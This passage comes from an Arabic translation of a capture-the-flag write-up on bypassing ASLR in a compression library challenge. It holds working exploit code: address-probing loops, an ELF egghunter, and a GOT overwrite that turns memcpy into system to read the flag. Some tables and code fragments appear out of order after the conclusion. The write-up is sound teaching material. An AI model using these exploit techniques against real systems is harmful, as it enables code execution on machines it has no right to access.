7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
يمكننا البحث عن العنوان 7fe3d6a5b000 - 0x1000 بهذه الحيلة:
lastMappedPage = 0x7fe3d6a5a000
نقوم بتجربة نصف بايت في كل مرة، وفي أسوأ الحالات نحتاج إلى 16*5 = 80 استعلامًا.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return i*increment print ('No') raise Exception("linearFindLargest should not fail")
lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")
## 4.6 الاستغلال
أخيرًا، نعرف كل ما نحتاجه عن تخطيطات الذاكرة، والآن الأمر مجرد استغلال بدائية write what where للوصول إلى تنفيذ الأكواد.
لتحقيق تنفيذ الأكواد، قمت بالكتابة فوق مدخل memcpy@got الخاص بـ libkyle.so باستخدام system@libc.
### الحصول على قاعدة libkyle
لحسن حظنا، العنوان الأساسي لـ libc والعنوان الأساسي لـ libkyle.so يقعان على إزاحة ثابتة من lastMappedPage، لم أكن أعلم أن هذا هو الحال، لذا كتبت egghunter يبحث عن `\x7fELF` \(ترويسة ملفات ELF التنفيذية\)، والذي لم يكن مفيدًا في النهاية.```py
# Scan backwards looking for b'\x7fELF'
i = 0
numElf = 0
while numElf != 2:
theAddr = lastMappedPage-0x1000*i
hdr = readFromAddr(theAddr, 4, 40500+i)
print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
if hdr == b'\x7fELF':
numElf += 1
print (f"found elf at {theAddr:#x}")
if i > 70:
print ("Exploit failed, upper bound address was wrong")
exit(1)
i += 1
لحسن الحظ، كان استبدال memcpy@got بـ system كافيًا للحصول على الـ flag والمطالبة بتلك المكافأة المجزية :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)
## 4.7 العَلَم!
يمكنك العثور على الاستغلال [هنا](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/x.py).
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>
هناك أيضًا نسخة موثوقة 100% من الاستغلال [هنا](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/reliable_exploit.py).
## 5. الخاتمة
أتمنى أن تكون قد استمتعت بالشرح، إذا لم يكن شيء واضحًا بما فيه الكفاية فلا تتردد في التواصل معي [@nick0ve](https://twitter.com/nick0ve) :)
| mem | عبور حد 16tb؟ |
|---|
| 0x7fb03b55e010 | لا |
| 0x7fa03b55d010 | لا |
| 0x7f903b55c010 | لا |
| 0x7f803b55b010 | لا |
| 0x7f703b55a010 | لا |
| 0x7f603b559010 | لا |
| 0x7f503b558010 | لا |
| 0x7f403b557010 | لا |
| 0x7f303b556010 | لا |
| 0x7f203b555010 | لا |
| 0x7f103b554010 | لا |
| 0x7f003b553010 | لا |
| 0x7ef03b552010 | نعم |
| 0x7ee03b551010 | نعم |
| 0x7ed03b550010 | نعم |
| 0x7ec03b54f010 | نعم |
if (fstat(fd, &sb) != 0) { return NULL; }
/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
| العنوان | هل العنوان معيّن؟ |
|---|
| 0x7fe3f0000000 | لا |
| 0x7fe3e0000000 | لا |
| 0x7fe3d0000000 | نعم |
| 0x7fe3df000000 | لا |
| 0x7fe3de000000 | لا |
| 0x7fe3dd000000 | لا |
| 0x7fe3dc000000 | لا |
| 0x7fe3db000000 | لا |
| 0x7fe3da000000 | لا |
| 0x7fe3d9000000 | لا |
| 0x7fe3d8000000 | لا |
| 0x7fe3d7000000 | لا |
| 0x7fe3d6000000 | نعم |
| 0x7fe3d6f00000 | لا |
| 0x7fe3d6e00000 | لا |
| 0x7fe3d6d00000 | لا |
| 0x7fe3d6c00000 | لا |
| 0x7fe3d6b00000 | لا |
| 0x7fe3d6a00000 | نعم |
| 0x7fe3d6af0000 | لا |
| 0x7fe3d6ae0000 | لا |
| 0x7fe3d6ad0000 | لا |
| 0x7fe3d6ac0000 | لا |
| 0x7fe3d6ab0000 | لا |
| 0x7fe3d6aa0000 | لا |
| 0x7fe3d6a90000 | لا |
| 0x7fe3d6a80000 | لا |
| 0x7fe3d6a70000 | لا |
| 0x7fe3d6a60000 | لا |
| 0x7fe3d6a50000 | نعم |
| 0x7fe3d6a5f000 | لا |
| 0x7fe3d6a5e000 | لا |
| 0x7fe3d6a5d000 | لا |
| 0x7fe3d6a5c000 | لا |
| 0x7fe3d6a5b000 | لا |
| 0x7fe3d6a5a000 | نعم |